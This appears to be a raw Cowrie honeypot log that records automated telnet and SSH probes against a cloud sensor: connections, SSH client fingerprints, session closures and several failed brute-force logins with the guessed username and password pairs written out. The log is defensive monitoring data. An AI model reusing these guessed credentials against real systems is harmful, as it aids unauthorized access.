{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":58808,"dst_ip":"10.17.0.5","dst_port":23,"session":"99085332292d","protocol":"telnet","message":"New connection: 5.189.169.71:58808 (10.17.0.5:23) [session: 99085332292d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:18.720542Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":50742,"dst_ip":"10.17.0.5","dst_port":22,"session":"fc15efcac4c8","protocol":"ssh","message":"New connection: 80.94.92.182:50742 (10.17.0.5:22) [session: fc15efcac4c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:19.256101Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:19.331250Z","src_ip":"80.94.92.182","session":"fc15efcac4c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:19.541944Z","src_ip":"80.94.92.182","session":"fc15efcac4c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.346665143966675,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:20.058374Z","src_ip":"5.189.169.71","session":"b8b93e08d529","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.970165014266968,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:20.086706Z","src_ip":"5.189.169.71","session":"e8dd550259cc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":58810,"dst_ip":"10.17.0.5","dst_port":23,"session":"0fbe5265d2b0","protocol":"telnet","message":"New connection: 5.189.169.71:58810 (10.17.0.5:23) [session: 0fbe5265d2b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:20.528116Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwer1234","message":"login attempt [ubuntu/qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:20.870539Z","src_ip":"80.94.92.182","session":"fc15efcac4c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.178.126","src_port":53236,"dst_ip":"10.17.0.5","dst_port":23,"session":"1757d2c1d051","protocol":"telnet","message":"New connection: 5.189.178.126:53236 (10.17.0.5:23) [session: 1757d2c1d051]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:20.961543Z"}
{"eventid":"cowrie.session.closed","duration":30.55203080177307,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:21.070992Z","src_ip":"94.23.163.94","session":"c4be6696fbca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":58818,"dst_ip":"10.17.0.5","dst_port":23,"session":"f8b6441ef22c","protocol":"telnet","message":"New connection: 5.189.169.71:58818 (10.17.0.5:23) [session: f8b6441ef22c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:21.350446Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":43162,"dst_ip":"159.203.135.109","dst_port":23,"session":"ff6eefb17b56","protocol":"telnet","message":"New connection: 23.254.167.244:43162 (159.203.135.109:23) [session: ff6eefb17b56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:21.389135Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":40464,"dst_ip":"10.17.0.5","dst_port":23,"session":"40e49fc346df","protocol":"telnet","message":"New connection: 94.23.163.94:40464 (10.17.0.5:23) [session: 40e49fc346df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:21.532255Z"}
{"eventid":"cowrie.session.closed","duration":30.660253047943115,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:22.082273Z","src_ip":"5.189.178.126","session":"c6f428ccb813","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:22.204742Z","src_ip":"80.94.92.182","session":"fc15efcac4c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":58828,"dst_ip":"10.17.0.5","dst_port":23,"session":"031259447e60","protocol":"telnet","message":"New connection: 5.189.169.71:58828 (10.17.0.5:23) [session: 031259447e60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:22.296499Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":53370,"dst_ip":"10.17.0.5","dst_port":22,"session":"26311534f9ab","protocol":"ssh","message":"New connection: 176.65.139.103:53370 (10.17.0.5:22) [session: 26311534f9ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:22.303669Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:22.308392Z","src_ip":"176.65.139.103","session":"26311534f9ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:22.390169Z","src_ip":"176.65.139.103","session":"26311534f9ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esuser","password":"esuser","message":"login attempt [esuser/esuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:22.642162Z","src_ip":"176.65.139.103","session":"26311534f9ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":40474,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e78cbe4085b","protocol":"telnet","message":"New connection: 94.23.163.94:40474 (10.17.0.5:23) [session: 0e78cbe4085b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:22.673729Z"}
{"eventid":"cowrie.session.closed","duration":30.836928606033325,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:23.076590Z","src_ip":"5.189.178.126","session":"e87eeeda285a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.53597593307495,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:23.260222Z","src_ip":"23.254.167.244","session":"ee205b4461f2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.178.126","src_port":53240,"dst_ip":"10.17.0.5","dst_port":23,"session":"7f39953e6c6d","protocol":"telnet","message":"New connection: 5.189.178.126:53240 (10.17.0.5:23) [session: 7f39953e6c6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:23.457057Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:23.751251Z","src_ip":"176.65.139.103","session":"26311534f9ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":36604,"dst_ip":"10.17.0.5","dst_port":23,"session":"c3684de815fe","protocol":"telnet","message":"New connection: 94.23.163.94:36604 (10.17.0.5:23) [session: c3684de815fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:23.935529Z"}
{"eventid":"cowrie.session.closed","duration":30.787170886993408,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:24.057154Z","src_ip":"94.23.163.94","session":"f2c248184fcf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.339087963104248,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:24.218260Z","src_ip":"5.189.178.126","session":"f15fdc04c3cb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":58836,"dst_ip":"10.17.0.5","dst_port":23,"session":"5345b050f3b8","protocol":"telnet","message":"New connection: 5.189.169.71:58836 (10.17.0.5:23) [session: 5345b050f3b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:24.277507Z"}
{"eventid":"cowrie.session.closed","duration":31.52729606628418,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:24.807895Z","src_ip":"5.189.169.71","session":"ad91a665ef5d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":58846,"dst_ip":"10.17.0.5","dst_port":23,"session":"09a0d68b2396","protocol":"telnet","message":"New connection: 5.189.169.71:58846 (10.17.0.5:23) [session: 09a0d68b2396]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:24.905722Z"}
{"eventid":"cowrie.session.closed","duration":30.756399393081665,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:25.059777Z","src_ip":"5.189.169.71","session":"863e86aec996","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":58856,"dst_ip":"10.17.0.5","dst_port":23,"session":"c0f5f6e8d39c","protocol":"telnet","message":"New connection: 5.189.169.71:58856 (10.17.0.5:23) [session: c0f5f6e8d39c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:25.239870Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":58868,"dst_ip":"10.17.0.5","dst_port":23,"session":"10758deca8fd","protocol":"telnet","message":"New connection: 5.189.169.71:58868 (10.17.0.5:23) [session: 10758deca8fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:25.247995Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.178.126","src_port":53248,"dst_ip":"10.17.0.5","dst_port":23,"session":"194732b98947","protocol":"telnet","message":"New connection: 5.189.178.126:53248 (10.17.0.5:23) [session: 194732b98947]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:25.450554Z"}
{"eventid":"cowrie.session.closed","duration":30.292982816696167,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:26.049934Z","src_ip":"5.189.169.71","session":"97e176a2dc74","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":58870,"dst_ip":"10.17.0.5","dst_port":23,"session":"d7188f835c67","protocol":"telnet","message":"New connection: 5.189.169.71:58870 (10.17.0.5:23) [session: d7188f835c67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:26.229522Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":50222,"dst_ip":"159.203.135.109","dst_port":23,"session":"abc1d98ef07b","protocol":"telnet","message":"New connection: 23.254.167.244:50222 (159.203.135.109:23) [session: abc1d98ef07b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:26.418272Z"}
{"eventid":"cowrie.session.connect","src_ip":"20.244.18.126","src_port":48658,"dst_ip":"10.17.0.5","dst_port":22,"session":"d7b93fa43d4e","protocol":"ssh","message":"New connection: 20.244.18.126:48658 (10.17.0.5:22) [session: d7b93fa43d4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:26.478622Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:26.484074Z","src_ip":"20.244.18.126","session":"d7b93fa43d4e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:26.672523Z","src_ip":"20.244.18.126","session":"d7b93fa43d4e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.190940618515015,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:26.950428Z","src_ip":"23.254.167.244","session":"b7f45f90c1f6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":58874,"dst_ip":"10.17.0.5","dst_port":23,"session":"c22c594d525d","protocol":"telnet","message":"New connection: 5.189.169.71:58874 (10.17.0.5:23) [session: c22c594d525d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:27.211729Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":58884,"dst_ip":"10.17.0.5","dst_port":23,"session":"b603d0a11e01","protocol":"telnet","message":"New connection: 5.189.169.71:58884 (10.17.0.5:23) [session: b603d0a11e01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:27.317861Z"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgres2019","message":"login attempt [postgres/postgres2019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:27.459343Z","src_ip":"20.244.18.126","session":"d7b93fa43d4e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":52634,"dst_ip":"10.17.0.5","dst_port":23,"session":"1a16ae1a4f8d","protocol":"telnet","message":"New connection: 5.189.169.71:52634 (10.17.0.5:23) [session: 1a16ae1a4f8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:28.247714Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":36618,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb1c9b5dd9a3","protocol":"telnet","message":"New connection: 94.23.163.94:36618 (10.17.0.5:23) [session: eb1c9b5dd9a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:28.298012Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":57108,"dst_ip":"10.17.0.5","dst_port":22,"session":"5cb3b9fda040","protocol":"ssh","message":"New connection: 176.65.139.103:57108 (10.17.0.5:22) [session: 5cb3b9fda040]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:28.459587Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:28.465004Z","src_ip":"176.65.139.103","session":"5cb3b9fda040","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:28.547383Z","src_ip":"176.65.139.103","session":"5cb3b9fda040","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:28.653825Z","src_ip":"20.244.18.126","session":"d7b93fa43d4e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"11","message":"login attempt [root/11] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:28.796083Z","src_ip":"176.65.139.103","session":"5cb3b9fda040","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.55116629600525,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:29.002894Z","src_ip":"94.23.163.94","session":"0e4eca3f909a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":36624,"dst_ip":"10.17.0.5","dst_port":23,"session":"bcb477df4878","protocol":"telnet","message":"New connection: 94.23.163.94:36624 (10.17.0.5:23) [session: bcb477df4878]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:29.108138Z"}
{"eventid":"cowrie.session.closed","duration":31.0067036151886,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:29.711589Z","src_ip":"5.189.178.126","session":"17d19ef09ea7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":36638,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ecc75a4ce5a","protocol":"telnet","message":"New connection: 94.23.163.94:36638 (10.17.0.5:23) [session: 2ecc75a4ce5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:29.865080Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:29.882778Z","src_ip":"176.65.139.103","session":"5cb3b9fda040","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":52640,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ec8be159274","protocol":"telnet","message":"New connection: 5.189.169.71:52640 (10.17.0.5:23) [session: 8ec8be159274]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:29.954242Z"}
{"eventid":"cowrie.session.closed","duration":30.122092247009277,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:30.054340Z","src_ip":"94.23.163.94","session":"8e143a517eaa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.922749042510986,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:30.257464Z","src_ip":"5.189.178.126","session":"0cfca78895ec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":52642,"dst_ip":"10.17.0.5","dst_port":23,"session":"f4bd7cc574e7","protocol":"telnet","message":"New connection: 5.189.169.71:52642 (10.17.0.5:23) [session: f4bd7cc574e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:30.727958Z"}
{"eventid":"cowrie.session.closed","duration":30.889768362045288,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:31.094332Z","src_ip":"94.23.163.94","session":"b08340d2b2d4","protocol":"telnet"}
